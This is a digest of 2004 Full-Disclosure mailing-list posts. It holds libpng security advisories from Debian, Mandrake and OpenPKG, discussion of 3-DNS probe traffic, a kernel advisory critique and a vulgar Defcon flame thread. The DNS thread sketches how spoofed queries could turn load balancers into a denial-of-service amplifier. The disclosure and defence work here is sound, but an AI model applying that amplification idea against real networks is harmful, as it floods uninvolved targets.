[Full-Disclosure] [SECURITY] [DSA 536-1] New libpng, libpng3 packages fix multiple vulnerabilities

[debian-security-announce]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

- --
Debian Security Advisory DSA 536-1 [EMAIL PROTECTED]
http://www.debian.org/security/ Matt Zimmerman
August 4th, 2004http://www.debian.org/security/faq
- --

Package: libpng
Vulnerability  : several
Problem-Type   : local/remote
Debian-specific: no
CVE Ids: CAN-2004-0597 CAN-2004-0598 CAN-2004-0599 CAN-2004-0768

Chris Evans discovered several vulnerabilities in libpng:

 CAN-2004-0597 - Multiple buffer overflows exist, including when
 handling transparency chunk data, which could be exploited to cause
 arbitrary code to be executed when a specially crafted PNG image is
 processed

 CAN-2004-0598 - Multiple NULL pointer dereferences in
 png_handle_iCPP() and elsewhere could be exploited to cause an
 application to crash when a specially crafted PNG image is processed

 CAN-2004-0599 - Multiple integer overflows in png_handle_sPLT(),
 png_read_png() nctions and elsewhere could be exploited to cause an
 application to crash, or potentially arbitrary code to be executed,
 when a specially crafted PNG image is processed

In addition, a bug related to CAN-2002-1363 was fixed:

 CAN-2004-0768 - A buffer overflow could be caused by incorrect
 calculation of buffer offsets, possibly leading to the execution of
 arbitrary code

For the current stable distribution (woody), these problems have been
fixed in libpng3 version 1.2.1-1.1.woody.7 and libpng version
1.0.12-3.woody.7.

For the unstable distribution (sid), these problems will be fixed soon.

We recommend that you update your libpng and libpng3 packages.

Upgrade Instructions
- 

wget url
will fetch the file for you
dpkg -i file.deb
will install the referenced file.

If you are using the apt-get package manager, use the line for
sources.list as given below:

apt-get update
will update the internal database
apt-get upgrade
will install corrected packages

You may use an automated update by adding the resources from the
footer to the proper configuration.

Debian GNU/Linux 3.0 alias woody
- 

  Source archives:


http://security.debian.org/pool/updates/main/libp/libpng/libpng_1.0.12-3.woody.7.dsc
  Size/MD5 checksum:  579 28fa419216a24ee3bfc2379864cb08af

http://security.debian.org/pool/updates/main/libp/libpng/libpng_1.0.12-3.woody.7.diff.gz
  Size/MD5 checksum: 9742 75a375a67bb78301d9a9ebe821b3f2b2
http://security.debian.org/pool/updates/main/libp/libpng/libpng_1.0.12.orig.tar.gz
  Size/MD5 checksum:   481387 3329b745968e41f6f9e55a4d04a4964c

http://security.debian.org/pool/updates/main/libp/libpng3/libpng3_1.2.1-1.1.woody.7.dsc
  Size/MD5 checksum:  583 3976057544097db61b33f953b803d947

http://security.debian.org/pool/updates/main/libp/libpng3/libpng3_1.2.1-1.1.woody.7.diff.gz
  Size/MD5 checksum:29676 0501708a687b71e449f81cd3e61868d6
http://security.debian.org/pool/updates/main/libp/libpng3/libpng3_1.2.1.orig.tar.gz
  Size/MD5 checksum:   493105 75a21cbfae566158a0ac6d9f39087c4d

  ARM architecture:


http://security.debian.org/pool/updates/main/libp/libpng/libpng2_1.0.12-3.woody.7_arm.deb
  Size/MD5 checksum:   108834 65c7d7fb818332e8c0a5948450289d6f

http://security.debian.org/pool/updates/main/libp/libpng/libpng2-dev_1.0.12-3.woody.7_arm.deb
  Size/MD5 checksum:   241392 785d7cc63274c17c1b6f54020e55b047

http://security.debian.org/pool/updates/main/libp/libpng3/libpng-dev_1.2.1-1.1.woody.7_arm.deb
  Size/MD5 checksum:   247654 8fcf3de4c503230ec009cd60d852ed8e

http://security.debian.org/pool/updates/main/libp/libpng3/libpng3_1.2.1-1.1.woody.7_arm.deb
  Size/MD5 checksum:   112036 159d56f98ca67efae5b941c8c125f7fb

  Intel IA-32 architecture:


http://security.debian.org/pool/updates/main/libp/libpng/libpng2_1.0.12-3.woody.7_i386.deb
  Size/MD5 checksum:   107012 6c0c53769987b0e612315a27d426c31b

http://security.debian.org/pool/updates/main/libp/libpng/libpng2-dev_1.0.12-3.woody.7_i386.deb
  Size/MD5 checksum:   226982 93ab2de59fd31cdd270220a9bf470aab

http://security.debian.org/pool/updates/main/libp/libpng3/libpng-dev_1.2.1-1.1.woody.7_i386.deb
  Size/MD5 checksum:   233652 7a723facf934ca726426fcccbea044c1

http://security.debian.org/pool/updates/main/libp/libpng3/libpng3_1.2.1-1.1.woody.7_i386.deb
  Size/MD5 checksum:   110350 aaa13f7b82894d332b0d93812eccf245

  Intel IA-64 architecture:


http://security.debian.org/pool/updates/main/libp/libpng/libpng2_1.0.12-3.woody.7_ia64.deb
  Size/MD5 checksum:   147182 a42677c2dc15d9c7e69084c794adb1f1

http://security.debian.org/pool/updates/main/libp/libpng/libpng2-dev_1.0.12-3.woody.7_ia64.deb
  Size/MD5 checksum

[Full-Disclosure] CNN: Los Alamos suspends 19 for security leak (Was: Tipping Point IPS systems

[Andrew J Caines]

Jeremiah Cornelius <[EMAIL PROTECTED]> forgot to start a new thread and use
a meaningful subject line and trim quoted text when he said...
>http://www.cnn.com/2004/TECH/science/07/23/security.losalamos.reut/http://www.cnn.com/2004/TECH/science/07/23/security.losalamos.reut/
> Officials condemned a culture leading to a number of security problems at
> the nuclear laboratory.

Officials report that they wish to speak to one Richard Feynman concerning
several incidents, but that they were not able to locate him at the
present time.


-Andrew-
-- 
 ___
| -Andrew J. Caines-   Unix Systems Engineer   [EMAIL PROTECTED]  |
| "They that can give up essential liberty to obtain a little temporary |
|  safety deserve neither liberty nor safety" - Benjamin Franklin, 1759 |

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

RE: [Full-Disclosure] Tipping Point IPS systems

[Jeremiah Cornelius]

Los Alamos.  Their problem seems to be with “removable media”…

 

http://www.cnn.com/2004/TECH/science/07/23/security.losalamos.reut/

 



 











From:
[EMAIL PROTECTED]
[mailto:[EMAIL PROTECTED] On Behalf Of Keifer, Trey
Sent: Wednesday, August 04, 2004
1:25 PM
To:
[EMAIL PROTECTED]
Subject: RE: [Full-Disclosure] Tipping Point IPS
systems



 

Los Alamos uses Tipping Point with apparently great results. They just did a
webinar with SANS over it last month. You can go to the archives on SANS site
and listen…

 

---
Trey Keifer
Security Engineer - Level II
Fishnet Security

Direct:
816.701.2073
Main: 816.421.6611
Toll Free: 888.732.9406
Fax: 816.474.0394

http://www.fishnetsecurity.com

 











From: Ryan Sumida
[mailto:[EMAIL PROTECTED] 
Sent: Tuesday, August 03, 2004
3:46 PM
To: [EMAIL PROTECTED]
Subject: [Full-Disclosure] Tipping Point IPS
systems



 


Not sure if I should be posting to this list but didn't know where else
to ask. 

I've
seen a few posts on network protection devices such as Netscreen, Checkpoint
and Fortigate products but I haven't seen anything on Tipping Point.  Of
any of you that have used a Tipping Point box, how does it compare to the
others?  I'm aware of the bugs in the reporting features, I'm more
interested in hearing how effective their filters work especially under heavy
conditions. 

Thanks

Ryan











The information transmitted in this e-mail is intended only for the addressee and may contain confidential and/or privileged material. Any interception, review, retransmission, dissemination, or other use of, or taking of any action upon this information by persons or entitiesother than the intended recipient is prohibited by law and may subject them to criminal or civil liability. If you received this communication in error, please contact us immediately at 816.421.6611, and delete the communication from any computer or network system.

<>

smime.p7s
Description: S/MIME cryptographic signature

Re: FW: [Full-Disclosure] Question for DNS pros

[Nils Ketelsen]

On Wed, Aug 04, 2004 at 11:49:50AM -0700, John Hall wrote:

> It's possible the packets that solicited the traffic were spoofed, but
> it's generally more likely that someone on your network browsed the site
> in the last day or two and you just haven't yet been aged out of the list
> of sites the 3-DNS is keeping track of.

I do not know anyhting about 3-DNS apart from what I read in this thread, so
please excuse me if I get anything wrong or seem to be not understanding:

1. Why do you need to measure metrics for my DNS days after I might have
visited a site?

2. How does this kind of setup scale (imagine everyone did that)?

> >But wouldn't that make 3DNS an amplifier in a DoS attack? I guess it
> >depends on how it is configured. Seems so that, when configured wrong
> >with an overly aggressive configuration, it will respond with a multiple
> >of probes packets to a single spoofed reply.
> Definitely not!  When your DNS server sends a query to 3-DNS, it's added
> to a list of sites to keep metrics for.  The probes used to create those
> metrics are rate limited to one overall attempt to gather data per hour
> regardless of how many times you query the server.  A single data gathering


And if I, for example, spoof DNS requests from each IP-Adress in the /8 of
the organization I dislike?

Or I spoof DNS requests from every IP-Address in 0.0.0.0/0?

Will you then be sending out probe packets for a few days to all these
IP-Adresses? That sounds like a DOS Amplifier to me.


> attempt will try each of its configured probe methods in turn to try and
> get a response, so you should never see more than 6 - 20 packets per hour,
> per group of 3-DNS's.


So worst case:

20 packets per hour times 2^32 possible IP Addresses makes you send out
85899345920 an hour. Not bad. And that is for each of your customers, right?


> I don't think that could be a problem with 3-DNS.  Your time would
> probably better be spent trying to ensure that no reconnassance attempts
> return data that would be useful to an attacker.  I suspect that even
> if every group of 3-DNS's in the world suddenly added you to their probe
> lists, you wouldn't see a significant amount of traffic.  You'd probably
> notice it, but it wouldn't compare with the total amount of other
> unsolicited traffic you receive.

If I happen to have a /8 I might receive 5592405 Probe packets a second per
3-DNS group. I would call that significant.


Nils

-- 
Hast du das auch etwas deutlicher, oder bist du das Orakel von Jena?
  [Joerg Moeller zu Lutz Donnerhacke in de.admin.net-abuse.news]

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] Linux kernel file offset pointer races

[Andrew Farmer]

On 4 Aug 2004, at 03:22, Paul Starzetz wrote:
Synopsis:  Linux kernel file offset pointer handling
Product:   Linux kernel
Version:   2.4 up to to and including 2.4.26, 2.6 up to to and
   including 2.6.7
Vendor:http://www.kernel.org/
URL:   http://isec.pl/vulnerabilities/isec-0016-procleaks.txt
CVE:   CAN-2004-0415
Author:Paul Starzetz <[EMAIL PROTECTED]>
Date:  Aug 04, 2004

Issue:
==
A  critical  security  vulnerability  has been found in the Linux 
kernel
code handling 64bit file offset pointers.
...
Even discounting the mangling in this posting, the code doesn't work
as advertised under 2.6.7. I've tried a number of different scenarios:
multiple machines, slow storage, fast storage, large files, small files 
-
but _llseek(pfd, 0, 0, &off, SEEK_CUR) doesn't fail. Is this just 
because
I'm stupid or because the code supplied is incorrect?

Furthermore, mtrr_read doesn't seem to exist anywhere in the Linux 
kernel,
at least not by that name. The function in question would probably exist
in linux/arch/i386/kernel/cpu/mtrr/if.c, but there's nothing of the sort
in there. Heck, the kernel code shown isn't even VALID.

My fault or Paul's?


PGP.sig
Description: This is a digitally signed message part

Re: [Full-Disclosure] Defcon spelled half backwards is Fedcon and you dumfucks walked into a trap

[Micah McNelly]

[EMAIL PROTECTED] wrote:
On Wed, 04 Aug 2004 09:17:04 PDT, Micah McNelly <[EMAIL PROTECTED]>  said:
 

Agreed.  Please take your blackhat paranoia and your 0-day, and go root 
a garbage can.  Defcon's main purpose is to consume massive amounts of 
alchohol and throw money at strippers.  Down with the bartenders!
   

If you didn't have bartenders, who would serve the alcohol once you're too
drunk to get the cap off the bottle by yourself? ;)
 

the strippers.
/m
___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

RE: [Full-Disclosure] Tipping Point IPS systems

[Keifer, Trey]

Los Alamos uses Tipping Point with apparently great results. They just did a
webinar with SANS over it last month. You can go to the archives on SANS site and
listen…

 

---
Trey Keifer
Security Engineer - Level II
Fishnet Security

Direct:
816.701.2073
Main: 816.421.6611
Toll Free: 888.732.9406
Fax: 816.474.0394

http://www.fishnetsecurity.com

 











From: Ryan Sumida
[mailto:[EMAIL PROTECTED] 
Sent: Tuesday, August 03, 2004
3:46 PM
To:
[EMAIL PROTECTED]
Subject: [Full-Disclosure] Tipping Point IPS
systems



 


Not sure if I should be posting to this list but didn't
know where else to ask. 

I've
seen a few posts on network protection devices such as Netscreen, Checkpoint
and Fortigate products but I haven't seen anything on Tipping Point.  Of
any of you that have used a Tipping Point box, how does it compare to the
others?  I'm aware of the bugs in the reporting features, I'm more interested
in hearing how effective their filters work especially under heavy conditions.


Thanks

Ryan









The information transmitted in this e-mail is intended only for the addressee and may contain confidential and/or privileged material. Any interception, review, retransmission, dissemination, or other use of, or taking of any action upon this information by persons or entitiesother than the intended recipient is prohibited by law and may subject them to criminal or civil liability. If you received this communication in error, please contact us immediately at 816.421.6611, and delete the communication from any computer or network system.

Re: [Full-Disclosure] Defcon spelled half backwards is Fedcon and you dumfucks walked into a trap

[Valdis . Kletnieks]

On Wed, 04 Aug 2004 09:17:04 PDT, Micah McNelly <[EMAIL PROTECTED]>  said:
> Agreed.  Please take your blackhat paranoia and your 0-day, and go root 
> a garbage can.  Defcon's main purpose is to consume massive amounts of 
> alchohol and throw money at strippers.  Down with the bartenders!

If you didn't have bartenders, who would serve the alcohol once you're too
drunk to get the cap off the bottle by yourself? ;)


pgp79iXAMVjml.pgp
Description: PGP signature

Re: FW: [Full-Disclosure] Question for DNS pros

[Gary E. Miller]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

Yo John!

On Wed, 4 Aug 2004, John Hall wrote:

> Just about any response is useful for RTT/reachability measurement as long
> as we can associate it back to the correct probe.

My name servers are not even in the same state or AS as my
dialups and colos. So RTT measurement to my DNS servers is useless
to get info about the rest of my network.

I often hear complaints about the perverseness of global load balancing
using DNS queries.

RGDS
GARY
- ---
Gary E. Miller Rellim 20340 Empire Blvd, Suite E-3, Bend, OR 97701
[EMAIL PROTECTED]  Tel:+1(541)382-8588 Fax: +1(541)382-8676

-BEGIN PGP SIGNATURE-
Version: GnuPG v1.2.3 (GNU/Linux)

iD8DBQFBEVZV8KZibdeR3qURAvJjAJ9Bg73e7XkR+yMPijBXmMvzlIi5FwCgw32p
Jlla1PIZzlavaOwezTeg2Ys=
=cL1c
-END PGP SIGNATURE-

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

[Full-Disclosure] RE: Defcon spelled half backwards is Fedcon and you dumfucks walked into a trap

[Shagghie]

Kiddie spelled half backwards and juxtaposed is die, dik.
Why don't you start an astalavistacon then?

The iDefense party got plenty of folks drunk, mission accomplished.
It's what happened AFTER the iDefense party that mattered  ;)

-shag (the pronoun, damit)


___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] Clear text password exposure in Datakey's tokens and smartcards

[Toomas Soome]

Lionel Ferette wrote:
Note that this is true for almost all card readers on the market, not only for 
Datakey's. Having worked for companies using crypto smart cards, I have 
conducted a few risk analysis about that. The conclusion has always been that 
if the PIN must be entered from a PC, and the attacker has means to install 
software on the system (through directed viruses, social engineering, etc), 
the game's over.

The only solution against that problem is to have the PIN entered using a 
keypad on the reader. Only then does the cost of an attack raise 
significantly. But that is opening another can of worms, because there is 
(was?) no standard for card readers with attached pin pad (at the time, 
PC/SCv2 wasn't finalised - is it?).

at least some cards are supporting des passphrases to implement secured 
communication channels but I suppose this feature is not that widely in 
use  how many card owners are prepared to remember both PIN codes 
and passphrases...

toomas
___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

[Full-Disclosure] MDKSA-2004:079 - Updated libpng packages fix multiple vulnerabilities

[Mandrake Linux Security Team]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

 ___

 Mandrakelinux Security Update Advisory
 ___

 Package name:   libpng
 Advisory ID:MDKSA-2004:079
 Date:   August 4th, 2004

 Affected versions:  10.0, 9.1, 9.2, Corporate Server 2.1,
 Multi Network Firewall 8.2
 __

 Problem Description:

 Chris Evans discovered numerous vulnerabilities in the libpng graphics
 library, including a remotely exploitable stack-based buffer overrun in
 the png_handle_tRNS function, dangerous code in png_handle_sBIT, a
 possible NULL-pointer crash in png_handle_iCCP (which is also
 duplicated in multiple other locations), a theoretical integer overflow
 in png_read_png, and integer overflows during progressive reading.
 
 All users are encouraged to upgrade immediately.
 ___

 References:

  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0597
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0598
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0599
  http://www.kb.cert.org/vuls/id/388984
  http://www.kb.cert.org/vuls/id/236656
  http://www.kb.cert.org/vuls/id/160448
  http://www.kb.cert.org/vuls/id/477512
  http://www.kb.cert.org/vuls/id/286464
  http://www.kb.cert.org/vuls/id/817368
 __

 Updated Packages:
  
 Mandrakelinux 10.0:
 5f2e0ce336d0854b79426e3ee2fc9c1c  10.0/RPMS/libpng3-1.2.5-10.5.100mdk.i586.rpm
 a08aee71d41f2fd270e657053ed16a18  10.0/RPMS/libpng3-devel-1.2.5-10.5.100mdk.i586.rpm
 997b909be31340ab48a5c8266364d9f1  
10.0/RPMS/libpng3-static-devel-1.2.5-10.5.100mdk.i586.rpm
 5402d26cab5f03469f22f10e7279a64f  10.0/SRPMS/libpng-1.2.5-10.5.100mdk.src.rpm

 Mandrakelinux 10.0/AMD64:
 7f4dbf94ab247849e8efb3034c6bb046  
amd64/10.0/RPMS/lib64png3-1.2.5-10.5.100mdk.amd64.rpm
 7f2e23c89e39423b2499798cad32fc13  
amd64/10.0/RPMS/lib64png3-devel-1.2.5-10.5.100mdk.amd64.rpm
 ac6b7e03e3e816efa8744816d596338f  
amd64/10.0/RPMS/lib64png3-static-devel-1.2.5-10.5.100mdk.amd64.rpm
 5402d26cab5f03469f22f10e7279a64f  amd64/10.0/SRPMS/libpng-1.2.5-10.5.100mdk.src.rpm

 Corporate Server 2.1:
 6cf56378665f973c6b96a487db31f2df  corporate/2.1/RPMS/libpng3-1.2.4-3.7.C21mdk.i586.rpm
 4dfb84e68f30cc4de1ddf2085ef74ebd  
corporate/2.1/RPMS/libpng3-devel-1.2.4-3.7.C21mdk.i586.rpm
 68adca80324ccf10ecf386466673ff5e  
corporate/2.1/RPMS/libpng3-static-devel-1.2.4-3.7.C21mdk.i586.rpm
 e37d6b112471f9fbd39eee11db336a8e  corporate/2.1/SRPMS/libpng-1.2.4-3.7.C21mdk.src.rpm

 Corporate Server 2.1/x86_64:
 bb2f7ccff93adcf0f466cb4741f09440  
x86_64/corporate/2.1/RPMS/libpng3-1.2.4-3.7.C21mdk.x86_64.rpm
 22bd27f48fa0fd1e0510c3066ab67325  
x86_64/corporate/2.1/RPMS/libpng3-devel-1.2.4-3.7.C21mdk.x86_64.rpm
 769bb0aa09bf26b1ff64a9cd5e5a452e  
x86_64/corporate/2.1/RPMS/libpng3-static-devel-1.2.4-3.7.C21mdk.x86_64.rpm
 e37d6b112471f9fbd39eee11db336a8e  
x86_64/corporate/2.1/SRPMS/libpng-1.2.4-3.7.C21mdk.src.rpm

 Mandrakelinux 9.1:
 6fd39e5ee6bc8dc031bf3ea4608b2dcf  9.1/RPMS/libpng3-1.2.5-2.5.91mdk.i586.rpm
 e29e3f15812654860e80987ff169ed0a  9.1/RPMS/libpng3-devel-1.2.5-2.5.91mdk.i586.rpm
 f8fbbf2d3bd57ffb967a12fa84806793  
9.1/RPMS/libpng3-static-devel-1.2.5-2.5.91mdk.i586.rpm
 c1f995c1738591bf1436386c19f220f8  9.1/SRPMS/libpng-1.2.5-2.5.91mdk.src.rpm

 Mandrakelinux 9.1/PPC:
 db141bfa829164296790fc5ecaeca8af  ppc/9.1/RPMS/libpng3-1.2.5-2.5.91mdk.ppc.rpm
 cf12eb035d71e045bca05a351d2e12b5  ppc/9.1/RPMS/libpng3-devel-1.2.5-2.5.91mdk.ppc.rpm
 37ed0b8a240466482f3e3e079397aca3  
ppc/9.1/RPMS/libpng3-static-devel-1.2.5-2.5.91mdk.ppc.rpm
 c1f995c1738591bf1436386c19f220f8  ppc/9.1/SRPMS/libpng-1.2.5-2.5.91mdk.src.rpm

 Mandrakelinux 9.2:
 73dcbcff5ec15f8d0c683e85357ba292  9.2/RPMS/libpng3-1.2.5-7.5.92mdk.i586.rpm
 7d1493bececc9a48b84061b3eae8d92f  9.2/RPMS/libpng3-devel-1.2.5-7.5.92mdk.i586.rpm
 32d8f720ff4f9e2dcfd7e07a7f3b221c  
9.2/RPMS/libpng3-static-devel-1.2.5-7.5.92mdk.i586.rpm
 9ada13b517e9d757874bd235de565fc8  9.2/SRPMS/libpng-1.2.5-7.5.92mdk.src.rpm

 Mandrakelinux 9.2/AMD64:
 ce8a91d600fba2cdcc4cbfa73528f0cd  amd64/9.2/RPMS/lib64png3-1.2.5-7.5.92mdk.amd64.rpm
 231a4e5d6f11d262bb5bc6b7563ad93f  
amd64/9.2/RPMS/lib64png3-devel-1.2.5-7.5.92mdk.amd64.rpm
 1f63ad149a23fd5f2e9c9007b162235b  
amd64/9.2/RPMS/lib64png3-static-devel-1.2.5-7.5.92mdk.amd64.rpm
 9ada13b517e9d757874bd235de565fc8  amd64/9.2/SRPMS/libpng-1.2.5-7.5.92mdk.src.rpm

 Multi Network Firewall 8.2:
 f8ec19565a938e22f23e39b444d208a2  mnf8.2/RPMS/libpng3-1.2.4-3.7.M82mdk.i586.rpm
 99b28bb4446212b3cf099640a876c44e  mnf8.2/SRPMS/libpng-1.2.4-3.7.M82mdk.src.rpm
 ___

 To upgrade automatically use Man

Re: FW: [Full-Disclosure] Question for DNS pros

[John Hall]

Mark wrote:
...
Yup, the TCP SYN packets I see do the same with the IPID.  
(Embarrassed I missed that the first time I looked at them.) ;)
...
I disagree, if it is a DNS *server* I would think it wouldn't respond 
with a RST.  It would respond with a SERV FAIL because it's not 
authoritative for that domain.
Just about any response is useful for RTT/reachability measurement as long
as we can associate it back to the correct probe.
Agreed Frank, why would they bother asking in the first place?  How do 
you even know you are asking a DNS server?  It could just be a 
mis-configured client.  It would seem to me that would only provide 
you with the quickest way to query what may or may not be a DNS server 
that may or may not be authoritative for a domain.
Generally, 3-DNS queries only come from caching/forwarding DNS servers at
the client's site, so assuming we're talking to a DNS server there is
often a correct assumption.  There are several probes that only require
a TCP/IP compliant box to respond.
Although I think we may have resolved the issue of what is causing 
those strange packets...   I would like to see a whitepaper or 
something describing how this technique improves the performance of, 
well; anything.
While there's a lot of complexity to global load balancing and each probe
method may be rendered useless in some circumstances, we've spent a lot
of time analyzing the metrics collected and load balancing decisions made
by 3-DNS groups at many of our customers sites; and we've found that the
3-DNS has improved the reliability and responsiveness of every site for
the great majority of it's customers.  I'm not a marketeer, but you can
probably tell that I'm proud of our products.  ;)
The above paragraph is off topic.  E-Mail me off list if you want to 
discuss that topic further.

Regards,
Mark
--
John Hall  Test Manager - Switch Team F5 Networks, Inc.
___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: FW: [Full-Disclosure] Question for DNS pros

[John Hall]

Frank Knobbe wrote:
Okay. I'm not sure how that would help since the server could just send
the reply. Actually, it could have sent several during the time it takes
to measure the round trip time. But this is not the place to discuss
3DNS merits.
 

Remember, we are only interested in RTT and reachability, so any response
to our probe, be it SYN/ACK, reply, or RST is useful to the 3-DNS.  The
reason we can't use the same IP ID for each packet is to be able to
distinguish the responses and tie them to the correct probe, so we get
accurate measurements.
What is strange, though, is the fact that the load-balancer sent those
packets without actually receiving a request. The dump I provided span
most of the night, filtered on that host, and there are no DNS queries
being sent to the load-balanced DNS server. Instead, it appears like the
load-balancer is just unsolicited probes. It is, however, possible that
these are responses to spoofed packets that the load-balanced server
received from someplace else.
 

It's possible the packets that solicited the traffic were spoofed, but
it's generally more likely that someone on your network browsed the site
in the last day or two and you just haven't yet been aged out of the list
of sites the 3-DNS is keeping track of.
But wouldn't that make 3DNS an amplifier in a DoS attack? I guess it
depends on how it is configured. Seems so that, when configured wrong
with an overly aggressive configuration, it will respond with a multiple
of probes packets to a single spoofed reply.
 

Definitely not!  When your DNS server sends a query to 3-DNS, it's added
to a list of sites to keep metrics for.  The probes used to create those
metrics are rate limited to one overall attempt to gather data per hour
regardless of how many times you query the server.  A single data gathering
attempt will try each of its configured probe methods in turn to try and
get a response, so you should never see more than 6 - 20 packets per hour,
per group of 3-DNS's.
The problem goes like this. An attacker sends a single spoofed UDP
packet, spoofing the IP of his target, to a handful of 3DNS
load-balanced DNS servers. Each load-balancer will send a series of
probes to the target. If not usable for a denial-of-service attack (due
to low volume), then at least it can be misused to generate a cover of
suspicious traffic that the attack can use to hide his own little
reconnaissance packets in.
 

I don't think that could be a problem with 3-DNS.  Your time would
probably better be spent trying to ensure that no reconnassance attempts
return data that would be useful to an attacker.  I suspect that even
if every group of 3-DNS's in the world suddenly added you to their probe
lists, you wouldn't see a significant amount of traffic.  You'd probably
notice it, but it wouldn't compare with the total amount of other
unsolicited traffic you receive.
Perhaps the only solution is to build a list of 3DNS IP addresses and
ignore these type alerts from those addresses.
 

That may be the best solution, since while 3-DNS is selling well, the
total number of sites using 3-DNS that your site is browsing is likely
to be small.  If you're really watching your traffic that closely, then
you may still want to see these alerts anyway, since those 3-DNS probes
could come from a BIG-IP which is also configured to NAT traffic for an
entire network behind it.  You wouldn't be able to distinguish the 3-DNS
probes from the probes of a machine behind the BIG-IP.
Thought anyone? (If anyone is still following ... :)
Cheers,
Frank
 

JMH
--
John Hall  Test Manager - Switch Team F5 Networks, Inc.
___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: FW: [Full-Disclosure] Question for DNS pros

[John Hall]

Ron DuFresne wrote:
Still following here...
adding oneself to the list John mentioned might be the eaisier tack in
this situation, and make it so one is not hit by new implimentations, as
long as BIG-IP sites are not able to configure themselves out of the
do-not-probe listing as well;

3-DNS does maintain a "do-not-probe" list to which you can be added, if
the 3-DNS's probe traffic is too obnoxious for you.

 

The do-not-probe list is maintained per site (or per group of associated
3-DNS's), not globally (although that's an interesting idea that I'll
forward to the developers).  The whole purpose for this probe traffic
is to improve service to the customers of a web site and probes are only
sent after a customer's local DNS server queries the 3-DNS.  If a customer
stops querying the 3-DNS, then after a while, the 3-DNS will stop probing
back.  We are doing everything we can to avoid generating much probe
traffic.  The per-site probes should never be more than a few packets
per hour in the default configurations and even a really aggressive
configuration should generate no more than 16-20 packets per hour per site.
Though, I must admit, I'm none to fond of opt-outs rather than opt-ins.
 

I agree in most cases, although I do think that with the Internet you just
have to have somewhat thicker skin.  It's a tradeoff between getting good
response when you visit Yahoo, Google, CNN, your bank, etc. and only getting
the packets you approve of coming in your wire.  I admit that I'm *much*
more concerned with the 1 attempts per day to deliver spam to my
personal ".net" domain (which only has 4 valid email destinations) than I
am with content delivery network probes that are only sent in response to
my browsing.  :)
Thanks,
Ron DuFresne
~~
"Cutting the space budget really restores my faith in humanity.  It
eliminates dreams, goals, and ideals and lets us get straight to the
business of hate, debauchery, and self-annihilation." -- Johnny Hart
***testing, only testing, and damn good at it too!***
OK, so you're a Ph.D.  Just don't touch anything.
 

--
John Hall  Test Manager - Switch Team F5 Networks, Inc.
___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] Defcon spelled half backwards is Fedcon and you dumfucks walked into a trap

[Micah McNelly]

Agreed.  Please take your blackhat paranoia and your 0-day, and go root 
a garbage can.  Defcon's main purpose is to consume massive amounts of 
alchohol and throw money at strippers.  Down with the bartenders!

/m
Aditya, ALD [Aditya Lalit Deshmukh] wrote:
:Down with kiddies, down with admins, down with ppl
:trying to make security better. Down with everyone
:profiting off publicity.
   

please do your shouting somewhere else 
 

:Why people so inconsistent?
   

maybe it is time to increase the minimum age of list 18 maybe 
-aditya

Delivered using the Free Personal Edition of Mailtraq (www.mailtraq.com)
___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
 

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

[Full-Disclosure] [OpenPKG-SA-2004.035] OpenPKG Security Advisory (png)

[OpenPKG]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1



OpenPKG Security AdvisoryThe OpenPKG Project
http://www.openpkg.org/security.html  http://www.openpkg.org
[EMAIL PROTECTED] [EMAIL PROTECTED]
OpenPKG-SA-2004.035  04-Aug-2004


Package: png
Vulnerability:   arbitrary code execution
OpenPKG Specific:no

Affected Releases:   Affected Packages:   Corrected Packages:
OpenPKG CURRENT  <= png-1.2.5-20040629>= png-1.2.5-20040804
 <= doxygen-1.3.8-20040725>= doxygen-1.3.8-20040804
 <= ghostscript-8.14-20040630 >= ghostscript-8.14-20040804
 <= kde-qt-3.2.3-20040702 >= kde-qt-3.2.3-20040804
 <= pdflib-6.0.0p1-20040713   >= pdflib-6.0.0p1-20040804
 <= perl-tk-5.8.5-20040720>= perl-tk-5.8.5-20040804
 <= qt-3.3.2-20040702 >= qt-3.3.2-20040804

OpenPKG 2.1  <= png-1.2.5-2.1.0   >= png-1.2.5-2.1.1
 <= doxygen-1.3.7-2.1.0   >= doxygen-1.3.7-2.1.1
 <= ghostscript-8.14-2.1.0>= ghostscript-8.14-2.1.1
 <= pdflib-6.0.0-2.1.0>= pdflib-6.0.0-2.1.1
 <= perl-tk-5.8.4-2.1.0   >= perl-tk-5.8.4-2.1.1
 <= qt-3.3.2-2.1.0>= qt-3.3.2-2.1.1

OpenPKG 2.0  <= png-1.2.5-2.0.2   >= png-1.2.5-2.0.3
 <= doxygen-1.3.6-2.0.2   >= doxygen-1.3.6-2.0.3
 <= ghostscript-8.13-2.0.2>= ghostscript-8.13-2.0.3
 <= pdflib-5.0.3-2.0.2>= pdflib-5.0.3-2.0.3
 <= perl-tk-5.8.3-2.0.2   >= perl-tk-5.8.3-2.0.3
 <= qt-3.2.3-2.0.2>= qt-3.2.3-2.0.3
 <= rrdtool-1.0.46-2.0.2  >= rrdtool-1.0.46-2.0.3
 <= tetex-2.0.2-2.0.2 >= tetex-2.0.2-2.0.3

Affected Releases:   Dependent Packages:
OpenPKG CURRENT  abiword analog apache autotrace blender cups emacs
 firefox gd gdk-pixbuf ghostscript-esp gif2png gimp
 gnuplot gqview graphviz gtk2 imagemagick imlib
 latex2html lbreakout libwmf mozilla mplayer mrtg
 nagios netpbm perl-tk php php3 php5 povray pstoedit
 rrdtool scribus tetex transfig webalizer wml wv wx
